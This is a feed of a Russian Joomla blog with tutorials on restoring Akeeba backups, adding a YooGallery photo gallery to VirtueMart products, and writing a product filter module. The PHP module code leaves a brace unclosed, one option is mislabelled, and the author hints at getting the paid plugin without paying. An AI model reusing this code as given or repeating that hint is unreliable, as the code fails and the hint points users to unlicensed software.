Нажимаем кнопку «Начать резервное копирование», затем, если нужно, вписываете комментарии к архиву, нажимаете одноименную кнопку и ждете пока копия сделается архив (на нормальном хостинге —1-10 минут,в зависимости от объема сайта). Если все прошло нормально, увидите сообщение

Поздравляем! Процесс резервного копирования успешно завершен.
Теперь вы можете перейти на другую страницу.

Процесс может закончиться неудачей, но решается это обычно путем вписывания в общие настройки Джумлы данных от ФТП, но это происходит нечасто. Нажимаем «Управление резервными копиями», убждаетесь в том, что копия сделана. Теперь, чтобы скачать копию себе на компьютер, открываем фтп-клиент, ставим двоичный режим (binary, если клиент английский), заходим в папку administrator/components/com_akeeba/backup и скачиваем файл с расширением *.jpa. Это и есть ваша резервная копия.

Чтобы эту копию восстановить, заливайте резервную копию Джумлы на сервер, в корень, рядом кладите файл kickstart.php и языковой файл (если Акибу качали с моего блога, то и сам kickstart, и его локализации находятся в архиве kickstart-3.3.2.zip, если нет — ищите их на сайте разработчика компонента Akeeba Backup). Дальше в браузере набираете адрес http://your_site.ru/kickstart.php, система предложит вам распаковать jpa-архив. Соглашайтесь со всем что вам пишут и следуйте инструкциям. По завершении распаковки, откройте в соседней вкладке (не закрывайте предыдущую) адрес http://your_site.ru/ у вас появится обычный инсталлятор Джумлы, только с другим дизайном. Как устанавливать Джумлу, думаю, объяснять ни к чему. По завершении установки нажмите на кнопку удаления папки installation, открывайте предыдущую вкладку и активируйте (нажатием на кнопочку) htaccess. Все. Можно пользоваться.

Есть, конечно, один нюанс. Если в вашем файле конфигурации Виртуемарта адреса прописаны абсолютные, а не с помощью переменных, берущих значения из общего configuration.php, а копию вы восстанавливаете на другом сервере (как вариант — переносите сайт с локалхоста на хостинг), то вам прийдется поправить файл конфигурации Виртуемарта. Акиба делать это не умеет.

На этом все. Спасибо за внимание.

]]>
artyom-vikt@yandex.ru (Артем) Joomla Sat, 04 Feb 2012 13:58:40 +0400
Расширяем функциональность Virtuemart. Часть 3. Фотогалерея для товара. http://joomla-show.ru/item/31-rasshiryaem-funktsionalnost-virtuemart-chast-2-fotogalereya-dlya-tovara http://joomla-show.ru/item/31-rasshiryaem-funktsionalnost-virtuemart-chast-2-fotogalereya-dlya-tovara

Закроем еще один популярный среди новичков вопрос: как сделать фотогалерею для товара Virtuemart? Я тоже согласен с тем, что девственная страница flypage выглядит убого, а представление изображений товара — и того хуже. Исправим положение. В этом посте я опишу процесс создания фотогалереи для изображений товаров во flypage-странице Virtuemart. У нас получится вот такая красивая галерея:

Фотогалерея для товаров Virtuemart

При нажатии на миниатюры ничго не выползает в лайтбоксе. Меняется большой слайд. Неограниченное количество картинок. Используется плагин YooGallery. Поехали!

Внедрение фотогалереи YooGallery в товар Virtuemart дело непростое. Однако, оно стоящее и вполне осуществимое. В первую очередь, нам нужно где-нибудь скачать плагин YooGallery. Поскольку он платный, на своем сайте я его не вывешивал, но, думаю, для вас найти способ его получить проблемы не составит. Например, можно накинуть цену заказчику и купить... продолжать не буду. Плагин YooGallery работает при вводе в контент специального кода, в котором указывается путь до папки с картинками и другие параметры. Допустим, размер больших фотографий в ширину будет 400 пикселей с максимальным количеством миниатюр — 9 штук. В этом случае, лучше всего нам подойдет такой код галереи: {yoogallery src=[/путь_к_папке_с_картинками/] width=[125] count=[9]}

Еще можно поиграться с настройками плагина YooGallery. Вот какие поставил я:

Теперь, когда определились с оформлением, нам нужно сделать отдельное поле для того, чтобы можно было управлять картинками галереи из админки виртуемарта, со страницы редактирования товара, я его назвал product_img_folder. Вспоминаем из поста о дополнительных полях в виртуемарте, в каком месте кода мы будем располагать поле для галереи товара. Код для вставки:

{code lang:html4strict lines:true line:370 hidden:false}<tr class="row1">
<td width="29%" valign="top">
<div style="text-align:right;font-weight:bold;">Папка картинок:</div>
</td>
<td width="71%" >
<input type="text" class="inputbox" name="product_img_folder" size="30" value="/images/vmgallery/заменить/" /><br />(Сейчас — &quot;<?php echo $db->sf("product_img_folder"); ?>&quot;)
</td>
</tr>{/code}

Выглядит это на странице вот так:

1561815151

Поле уже заполнено. Нужно только заменить слово (угадайте какое) на название папки. Рекомендую папки называть без пробелов, только английскими строчными буквами и цифрами. Регистр имеет значение, пробелы будут приводить к ошибке.

Следующий этап — внедряем галерею в flypage-страницу (components/com_virtuemart/themes/default/templates/product_details)

{yoogallery src=[<?php echo $product_img_folder ?>] width=[125] count=[9]}

Затем заходим в настройки магазина, ставим галочку напротив Разрешить использование мамботов / плагинов в описании товара и категории? Сохраняем изменения.

Наша следующая задача заставить галерею работать вне материала. Для этого открываем свою страницу flypage, ищем mm_showMyFileName(__FILE__); (вторая строка), под ней вставляем ob_start ();

Стускаемся в самый низ файла, вставляем туда вот это:

{code lang:php lines:true line:370 hidden:false}<?php
$contenthtml=ob_get_contents();
ob_end_clean();
echo JHTML::_('content.prepare',$contenthtml);
?>{/code}

Следующий этап — заводим новый товар, создаем папку с любым названием в images/vmgallery, загружаем туда несколько картинок шириной 400 пикселей, вписываем в поле название папки с картинками вместо слова заменить. Сохраняем товар.

Наслаждаемся галереей.

]]>
artyom-vikt@yandex.ru (Артем) Joomla Fri, 23 Dec 2011 18:03:57 +0400
Расширяем функциональность Virtuemart. Часть 2. Модуль фильтрации товара. http://joomla-show.ru/item/30-rasshiryaem-funktsionalnost-virtuemart-chast-2-modul-filtratsii-tovara http://joomla-show.ru/item/30-rasshiryaem-funktsionalnost-virtuemart-chast-2-modul-filtratsii-tovara

 Вот пример модуля фильтра для товаров Virtuemart. Нажмите на картинку для ее увеличения.

Модуль фильтрации товаров Virtuemart

Для чего нужны лишние телодвижения и почему бы не использовать встроенный расширенный поиск по типам товара? Во-первых, геморрой при заполнении товаров. Во-вторых, это штука нестабильная с отвратительным и недружественным внешнем видом фронтэнда, в котором обычный посетитель сайта не всегда захочет разбираться. Пример (нажмите чтобы увеличить):

Расширенный поиск товаров по характеристикам Virtuemart

Да к тому же, его форму не выведешь в модуль. Согласитесь, мой вариант поинтереснее выглядит. Под катом — реализация.

Первым делом что нам необходимо для реализации такого модуля поиска — реализовать дополнительные поля для забиваия в них параметров (а вот пост о том, как сделать дополнительные поля для товаров Virtuemart).

Предположим, вы все сделали как там написано. Разберем что мы там сделали, внимательно читайте комментарии, чтобы понять что к чему.

{code lang:html4strict lines:false hidden:false}<tr class="row1">
<td width="29%" valign="top">
<div style="text-align:right;font-weight:bold;">Виды техники:</div>
</td>
<td width="71%" >
Сейчас — &quot;<?php echo $db->sf("product_vid_teh"); ?>&quot;, изменить на&nbsp; <!-- Чтобы было видно какое значение в базе сейчас -->
<select class="inputbox" type="text" name="product_vid_teh" size="1"> <!-- Вписываем новое поле в выпадающий список с заранее определенными значениями, чтобы небыло путаницы. Для мультивыбора лучше поставить перед значением пробел. Чтобы значения не сливались в одно слово (поиск не будет работать в этом случае) -->
<option value=' грузовики'>Грузовики</option>
<option value=' самосвалы'>Самосвалы</option>
<option value=' манипуляторы'>Манипуляторы</option>
<option value=' тягачи'>Тягачи</option>
<option value=' погрузчики'>Погрузчики</option>
<option value=' спецтехника'>Спецтехника</option>
</select>
</td>
</tr>
<tr class="row1">
<td width="29%" valign="top">
<div style="text-align:right;font-weight:bold;">Грузоподъемность:</div>
</td>
<td width="71%" >
Сейчас — &quot;<?php echo $db->sf("product_gruzop"); ?>&quot;, изменить на&nbsp;
<select class="inputbox" type="text" name="product_gruzop" size="1">
<option value=' 1500'>1500 кг</option>
<option value=' 2000'>2000 кг</option>
<option value=' 3500'>3500 кг</option>
<option value=' 5000'>5000 кг</option>
<option value=' 7000'>7000 кг</option>
<option value=' 10000'>10 000 кг</option>
<option value=' 15000'>50 000 кг</option>
<option value='20000'>20 000 кг</option>
</select>
</td>
</tr>
<tr class="row1">
<td width="29%" valign="top">
<div style="text-align:right;font-weight:bold;">Тип кузова:</div>
</td>
<td width="71%" >
Сейчас — &quot;<?php echo $db->sf("product_tip_kuz"); ?>&quot;, изменить на&nbsp;
<select class="inputbox" type="text" name="product_tip_kuz" size="1">
<option value=' борт'>Борт</option>
<option value=' изометрический'>Изометрический</option>
<option value=' рефрижератор'>Рефрижератор</option>
<option value=' промтоварный'>Промтоварный</option>
</select>
</td>
</tr> {/code}

Скриншот админки:

Админка Virtuemart 

После того, как задали эти параметры, нужно создать новый модуль. Назовем его Virtuemart Filter, для этого создаем новый файл xml, назовем его mod_virtuemart_filter.xml. В него вписываем:

{code lang:xml lines:false hidden:false}<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE install SYSTEM "http://www.joomla.org/xml/dtd/1.5/module-install.dtd">
<install type="module" version="1.5.0">
    <name>VirtueMart Filter</name>
    <creationDate>December 2011</creationDate>
    <author>Millor</author>
    <authorEmail>artem|at|dezigner.ru</authorEmail>
    <authorUrl>http://joomla-show.ru</authorUrl> 
    <copyright>
        Copyright (C) 2011 Artyom Suchkov. All rights    reserved.
    </copyright>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
    <version>1.1.0</version>
    <description>Фильтр товара при помощи чекбоксов</description>
    <files>
        <filename module="mod_virtuemart_filter">mod_virtuemart_filter.php</filename> 
    </files>
    <params>
        <param name="moduleclass_sfx" type="text" default=""
            label="Module Class Suffix"
            description="A suffix to be applied to the css class of the module (table.moduletable), this allows individual module styling" />
        <param name="class_sfx" type="text" default=""
            label="Menu Class Suffix"
            description="A suffix to be applied to the css class of the menu items" />
    </params>
</install>{/code} 

Теперь нам, соответственно, нужно создать указанный файл mod_virtuemart_filter.php. Разделим файл на две составляющие — PHP и HTML.

{code lang:php lines:true hidden:false}<?php 
if( !defined( '_VALID_MOS' ) && !defined( '_JEXEC' ) ) die( 'Direct Access to '.basename(__FILE__).' is not allowed.' ); 
if( file_exists(dirname(__FILE__).'/../../components/com_virtuemart/virtuemart_parser.php' )) {
    require_once( dirname(__FILE__).'/../../components/com_virtuemart/virtuemart_parser.php' );
} else {
    require_once( dirname(__FILE__).'/../components/com_virtuemart/virtuemart_parser.php' );

global $VM_LANG, $mm_action_url, $sess; 
?>{/code} 

и 

{code lang:html4strict lines:true hidden:false}<form action="<?php $sess->purl( $mm_action_url."index.php?page=shop.browse" ) ?>" method="post"> 
<table class="pl-1" border="0" cellspacing="0" cellpadding="0" align="center">
<tbody>
<tr>
<td>
<table style="width: 890px;" border="0" cellspacing="0" cellpadding="0" align="center">
<tbody>
<tr>
<td style="font-size:1.5em;color:black" colspan="2" height="35" align="center" valign="middle">виды техники</td>
<td style="font-size:1.5em;color:black" colspan="2" align="center" valign="middle">грузоподъемность</td>
<td style="font-size:1.5em;color:black" width="189" align="center" valign="middle">тип кузова</td>
</tr>
<tr>
<td width="163"><input name="keyword" type="checkbox" value=" грузовики" id="keyword" /> грузовики</td>
<td width="177"><input name="keyword" type="checkbox" value=" тягачи" id="keyword" /> тягачи</td>
<td width="175"><input name="keyword" type="checkbox" value=" 1500" id="keyword" /> 1500 кг</td>
<td width="184"><input name="keyword" type="checkbox" value=" 7000" id="keyword" /> 7000 кг</td>
<td><input name="keyword" type="checkbox" value=" борт" /> Борт</td>
</tr>
<tr>
<td><input name="keyword" type="checkbox" value=" самосвалы" id="keyword" /> самосвалы</td>
<td><input name="keyword" type="checkbox" value=" погрузчики" id="keyword" /> погрузчики</td>
<td><input name="keyword" type="checkbox" value=" 2000" id="keyword" /> 2000 кг</td>
<td><input name="keyword" type="checkbox" value=" 10000" id="keyword" /> 10 000 кг</td>
<td><input name="keyword" type="checkbox" value=" изотермический" id="keyword" /> Изометрический</td>
</tr>
<tr>
<td><input name="keyword" type="checkbox" value=" манипуляторы" id="keyword" /> манипуляторы</td>
<td><input name="keyword" type="checkbox" value=" спецтехника" id="keyword" /> спeцтехника</td>
<td><input name="keyword" type="checkbox" value=" 3500" id="keyword" /> 3500 кг</td>
<td><input name="keyword" type="checkbox" value=" 15000" /> 15 000 кг</td>
<td><input name="keyword" type="checkbox" value=" рефрижератор" id="keyword" /> Рефрижератор</td>
</tr>
<tr>
<td></td>
<td></td>
<td><input name="keyword" type="checkbox" value=" 5000" id="keyword" /> 5000 кг</td>
<td><input name="keyword" type="checkbox" value=" 20000" id="keyword" /> 20 000 кг</td>
<td><input name="keyword" type="checkbox" value=" промтоварный" id="keyword" /> Промтоварный</td>
</tr>
<tr>
<td colspan="4"></td> 
<td align="center"><input class="button" name="Search" type="submit" value="Найти" /></td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
</table>
</form>{/code}

Думаю, здесь все понятно и без объяснений что к чему. Сохраняемся, зипуем, устанавливаем модуль, наслаждаемся.

А для закрепления материала, выкладываю установочный файл модуля. В нем есть ошибка. Предлагаю вам ее найти самостоятельно. Скачать модуль

]]>
artyom-vikt@yandex.ru (Артем) Joomla Fri, 23 Dec 2011 14:52:17 +0400